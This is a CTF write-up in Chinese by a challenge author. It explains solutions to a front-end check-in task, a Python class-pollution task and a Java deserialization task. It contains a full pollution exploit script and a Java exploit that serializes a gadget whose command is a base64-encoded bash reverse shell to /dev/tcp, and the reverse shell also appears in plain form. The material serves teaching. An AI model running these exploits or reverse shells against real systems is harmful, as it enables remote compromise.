set set what(WEB 签到) 解法1: 修改html前端拖动条范围上下界,直接拖
解法2: 看js里面最开始有个函数叫setSliderValue
控制台输入 setSliderValue(xxxxx)
解法3: 也有逆向手喜欢看js混淆后的代码,找到qq号十六进制后的数据地方
1 _0x167719 == 0x993be543 && alert (_0x1d4b54);
改成!=并应用 随便刷新一下就出了
解法4: 把按钮类型type删掉,直接输入值
前端题全在本地,随便改改应该就出了,或者难道你真是fps高手 ?
解法5: 一眼顶针,发现有两个base64,解码是flag前面一段,再猜猜,又找到一端带==的,复制到一起直接出了。(或者js发给gpt4-o,会告诉你flag)
解法很多不一一说了,前端题都在本地,想办法改改就出了
我闻到了[巧物]的清香 世上的道路有很多条,而每个人都有属于自己的那一条
原型链污染,需要让SECRET_KEY == secret_value得到flag
但是SECRET_KEY
是try to find truth
而secret_value
不知道是什么
1 2 3 os.makedirs('imagedir' , exist_ok=True ) with open (os.path.join('imagedir' , 'secret' ), 'w' ) as f: f.write(secret_value)
发现这里将secret_value写入imagedir
1 2 3 4 5 6 7 8 @app.route('/read_secret' , methods=['GET' ] ) def read_secret (): try : with open (os.path.join(app.static_folder, 'secret' ), 'r' ) as f: secret = f.read() except FileNotFoundError: secret = "You haven't found the correct path yet." return f"Secret: {secret} "
这里可以读出secretkey
所以逻辑很清晰了,先污染路径读取secret_value,再污染app.config[‘SECRET_KEY’]等于secret_value
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 import requestsurl="http://127.0.0.1/" data1 = { "__init__" : { "__globals__" : { "app" : { "_static_folder" : "imagedir" } } } } data2 = { "__init__" : { "__globals__" : { "app" : { "config" : { "SECRET_KEY" :"AD049E0604C7CB01F2A7AFA1075B81B7" } } } } } r=requests.post(url, json=data1) print (r.text)r=requests.get(url+"flag" ) print (r.text)r=requests.get(url+"read_secret" ) print (r.text) r=requests.post(url, json=data2) print (r.text)r=requests.get(url+"flag" ) print (r.text)r=requests.get(url+"read_secret" ) print (r.text)
原型链污染就去本地调试,方便看是否污染成功,而且不会搞坏环境
瑞福莱克珅 题目描述讲解了需要学习的地方,有很多人来问,也发现了很多疑惑的地方,我就从原理思路去讲解
首先题目运行环境是无法更改的,你在本地代码里面加入的任何值不会影响服务器环境。
题目分析 1 2 3 4 5 6 7 8 9 10 11 12 13 @RequestMapping({"/basic"}) public String greeting (@RequestParam(name = "data",required = true) String data, Model model) throws Exception { byte [] b = Utils.hexStringToBytes(data); InputStream inputStream = new ByteArrayInputStream (b); ObjectInputStream objectInputStream = new ObjectInputStream (inputStream); String BUPT = objectInputStream.readUTF(); String merak= objectInputStream.readUTF(); if (BUPT.equals("BUPT" ) && merak.equals("merak" )) { objectInputStream.readObject(); } return "index" ; }
这里我们发现需要传入hexString,并readUTF()两次,readObject()一次,前面两次UTF需要按顺序写入,writeUTF,后面检测两个UTF成功后,调用readObject方法,我们发现题目环境有一个Calc类
1 2 3 4 5 6 7 8 9 10 11 12 13 public class Calc implements Serializable { private boolean hasPermission = false ; private String cmd = "calc" ; public Calc () { } private void readObject (ObjectInputStream objectInputStream) throws Exception { objectInputStream.defaultReadObject(); if (this .hasPermission) { Runtime.getRuntime().exec(this .cmd); } } }
里面readObject里面有exec函数,可以执行恶意命令,当前面执行到objectInputStream.readObject();时,如果是calc类,就会调用他重写的readObject方法,所以我们需要控制cmd的值
传入的序列化字符串是我们自己定义的,也就是说可以控制传入的类的值
1 2 private boolean hasPermission = false ;private String cmd = "calc" ;
这里两个成员变量都是private,需要反射 修改hasPermission为true,cmd为反弹shell命令
被问到的问题: 为什么不能直接Runtime.getRuntime().exec("bash -i >& /dev/tcp/ip/port 0>&1");
因为exec的字符串分割问题,这里参考博客吧
Java反弹shell小记(个人学习记录) - yunying - 博客园 (cnblogs.com)
为什么把各个类复制进去写的exp得到的hex无法命令执行 做java题时候一定要本地起个环境调试,通了再打远程,别怕麻烦
需要将jar包反编译,自己根据jar包内容新建一个项目,在不影响原本服务文件的情况下,新建一个新的类,去调用,去写exp,还要保证package什么的命名一致
至此,逻辑基本分析清楚了,Exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 package com.avasec;import java.io.ByteArrayOutputStream;import java.io.IOException;import java.io.ObjectOutputStream;import java.lang.reflect.Field;public class Exp { public static void main (String[] args) throws NoSuchFieldException, IllegalAccessException, IOException { Calc C=new Calc (); Class clazz = C.getClass(); Field field1 = clazz.getDeclaredField("hasPermission" ); field1.setAccessible(true ); field1.set(C,true ); Field field2 = clazz.getDeclaredField("cmd" ); field2.setAccessible(true ); field2.set(C,"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9pcC9wb3J0IDA+JjE=}|{base64,-d}|{bash,-i}" ); ByteArrayOutputStream barr = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (barr); oos.writeUTF("BUPT" ); oos.writeUTF("merak" ); oos.writeObject(C); oos.close(); System.out.println(Utils.bytesTohexString(barr.toByteArray())); } }
后记 整体上个人评价我出的新生赛难度刚好,前端题是为了当大家一开始有解hhh,也体会过一场比赛如果前面一大半时间0解的话难免有挫败感然后不做了,有个题出也能让大家更好的状态去看其他题。
原型链污染倒是随手加的,两次污染,没有Waf,理解下代码,还是一个比较正常的题。(比较喜欢题目名字)
除了可以秒了Reflection这个题的师傅之外,相信这应该是其他师傅的第一道Java题目,遇到的反弹shell,本地调试,目录结构等问题,看完这个题后续java安全的一些基础部分应该不会卡太久,希望这道题目对一些问题可以做到基本的解惑,也祝各位师傅安全之路畅通无阻!